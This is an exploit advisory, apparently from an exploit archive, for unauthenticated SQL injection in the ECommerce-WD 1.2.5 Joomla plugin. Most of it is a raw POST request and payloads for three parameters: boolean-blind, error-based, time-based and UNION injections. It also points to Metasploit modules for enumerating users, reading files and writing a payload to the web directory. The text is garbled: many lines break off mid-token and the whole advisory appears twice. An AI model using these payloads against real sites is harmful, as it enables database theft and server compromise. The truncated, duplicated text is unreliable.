Version 1.2.5 of the ECommerce-WD plugin for Joomla! has multiple
unauthenticated SQL injections available via the advanced search
functionality.
http://extensions.joomla.org/
The vulnerable parameters are search_category_id, sort_order, and
filter_manufacturer_ids within the following request:
POST
/index.php?option=com_
HTTP/1.1
Host: 172.31.16.49
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:30.0) Gecko/20100101
Firefox/30.0
Accept: text/html,application/xhtml+
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://172.31.16.49/index.php?
Cookie: 78fdafa5595397a1fc885bb2f0d740
Connection: keep-alive
Content-Type: application/x-www-form-
Content-Length: 321
product_id=&product_count=&
Vectors:
Parameter: filter_manufacturer_ids (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload:
product_id=&product_count=&
AND 8066=8066 AND
(7678=7678&filter_price_from=&
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause
Payload:
product_id=&product_count=&
AND (SELECT 7197 FROM(SELECT COUNT(*),CONCAT(0x71786a6b71,(
(ELT(7197=7197,1))),
INFORMATION_SCHEMA.CHARACTER_
(1212=1212&filter_price_from=&
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind (SELECT)
Payload:
product_id=&product_count=&
AND (SELECT * FROM (SELECT(SLEEP(5)))SrXu) AND
(1480=1480&filter_price_from=&
Parameter: search_category_id (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload:
product_id=&product_count=&
AND 3039=3039 AND
(6271=6271&filter_filters_
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause
Payload:
product_id=&product_count=&
AND (SELECT 5158 FROM(SELECT COUNT(*),CONCAT(0x71786a6b71,(
(ELT(5158=5158,1))),
INFORMATION_SCHEMA.CHARACTER_
(8257=8257&filter_filters_
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind (SELECT)
Payload:
product_id=&product_count=&
AND (SELECT * FROM (SELECT(SLEEP(5)))AUWc) AND
(1251=1251&filter_filters_
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload:
product_id=&product_count=&
UNION ALL SELECT CONCAT(0x71786a6b71,
&filter_filters_opened=1&
Parameter: sort_order (POST)
Type: boolean-based blind
Title: MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause
Payload:
product_id=&product_count=&
(CASE WHEN (8973=8973) THEN 1 ELSE 8973*(SELECT 8973 FROM
INFORMATION_SCHEMA.CHARACTER_
END))&pagination_limit_start=
Type: AND/OR time-based blind
Title: MySQL >= 5.0.11 time-based blind - ORDER BY, GROUP BY clause
Payload:
product_id=&product_count=&
(CASE WHEN (6064=6064) THEN SLEEP(5) ELSE 6064*(SELECT 6064 FROM
INFORMATION_SCHEMA.CHARACTER_
END))&pagination_limit_start=
Metasploit modules that exploit the UNION-based injection are available on
ExploitHub:
Enumerate users --
https://exploithub.com/joomla-
Read files --
https://exploithub.com/joomla-
Write payload to web directory --
https://exploithub.com/joomla-
Authored by Brandon Perry
unauthenticated SQL injections available via the advanced search
functionality.
http://extensions.joomla.org/
The vulnerable parameters are search_category_id, sort_order, and
filter_manufacturer_ids within the following request:
POST
/index.php?option=com_
HTTP/1.1
Host: 172.31.16.49
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:30.0) Gecko/20100101
Firefox/30.0
Accept: text/html,application/xhtml+
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://172.31.16.49/index.php?
Cookie: 78fdafa5595397a1fc885bb2f0d740
Connection: keep-alive
Content-Type: application/x-www-form-
Content-Length: 321
product_id=&product_count=&
Vectors:
Parameter: filter_manufacturer_ids (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload:
product_id=&product_count=&
AND 8066=8066 AND
(7678=7678&filter_price_from=&
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause
Payload:
product_id=&product_count=&
AND (SELECT 7197 FROM(SELECT COUNT(*),CONCAT(0x71786a6b71,(
(ELT(7197=7197,1))),
INFORMATION_SCHEMA.CHARACTER_
(1212=1212&filter_price_from=&
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind (SELECT)
Payload:
product_id=&product_count=&
AND (SELECT * FROM (SELECT(SLEEP(5)))SrXu) AND
(1480=1480&filter_price_from=&
Parameter: search_category_id (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload:
product_id=&product_count=&
AND 3039=3039 AND
(6271=6271&filter_filters_
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause
Payload:
product_id=&product_count=&
AND (SELECT 5158 FROM(SELECT COUNT(*),CONCAT(0x71786a6b71,(
(ELT(5158=5158,1))),
INFORMATION_SCHEMA.CHARACTER_
(8257=8257&filter_filters_
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind (SELECT)
Payload:
product_id=&product_count=&
AND (SELECT * FROM (SELECT(SLEEP(5)))AUWc) AND
(1251=1251&filter_filters_
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload:
product_id=&product_count=&
UNION ALL SELECT CONCAT(0x71786a6b71,
&filter_filters_opened=1&
Parameter: sort_order (POST)
Type: boolean-based blind
Title: MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause
Payload:
product_id=&product_count=&
(CASE WHEN (8973=8973) THEN 1 ELSE 8973*(SELECT 8973 FROM
INFORMATION_SCHEMA.CHARACTER_
END))&pagination_limit_start=
Type: AND/OR time-based blind
Title: MySQL >= 5.0.11 time-based blind - ORDER BY, GROUP BY clause
Payload:
product_id=&product_count=&
(CASE WHEN (6064=6064) THEN SLEEP(5) ELSE 6064*(SELECT 6064 FROM
INFORMATION_SCHEMA.CHARACTER_
END))&pagination_limit_start=
Metasploit modules that exploit the UNION-based injection are available on
ExploitHub:
Enumerate users --
https://exploithub.com/joomla-
Read files --
https://exploithub.com/joomla-
Write payload to web directory --
https://exploithub.com/joomla-
Authored by Brandon Perry